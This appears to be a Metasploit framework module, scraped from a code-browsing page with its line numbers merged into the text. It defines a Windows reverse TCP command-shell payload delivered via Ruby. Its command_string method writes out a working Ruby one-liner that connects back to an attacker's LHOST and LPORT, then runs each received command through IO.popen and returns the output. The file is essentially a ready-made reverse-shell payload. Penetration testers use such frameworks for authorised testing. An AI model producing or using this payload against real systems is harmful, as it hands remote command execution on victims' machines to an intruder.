Path: blob/master/modules/payloads/singles/cmd/windows/reverse_ruby.rb
21551 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 12678include Msf::Payload::Single9include Msf::Sessions::CommandShellOptions1011def initialize(info = {})12super(13merge_info(14info,15'Name' => 'Windows Command Shell, Reverse TCP (via Ruby)',16'Description' => 'Connect back and create a command shell via Ruby',17'Author' => 'kris katterjohn',18'License' => MSF_LICENSE,19'Platform' => 'win',20'Arch' => ARCH_CMD,21'Handler' => Msf::Handler::ReverseTcp,22'Session' => Msf::Sessions::CommandShell,23'PayloadType' => 'cmd',24'RequiredCmd' => 'ruby',25'Payload' => { 'Offsets' => {}, 'Payload' => '' }26)27)28register_advanced_options(29[30OptString.new('RubyPath', [true, 'The path to the Ruby executable', 'ruby'])31]32)33end3435def generate(_opts = {})36return super + command_string37end3839def command_string40"#{datastore['RubyPath']} -rsocket -e \"c=TCPSocket.new(\\\"#{datastore['LHOST']}\\\",\\\"#{datastore['LPORT']}\\\");while(cmd=c.gets);IO.popen(cmd,\\\"r\\\"){|io|c.print io.read}end\""41end42end434445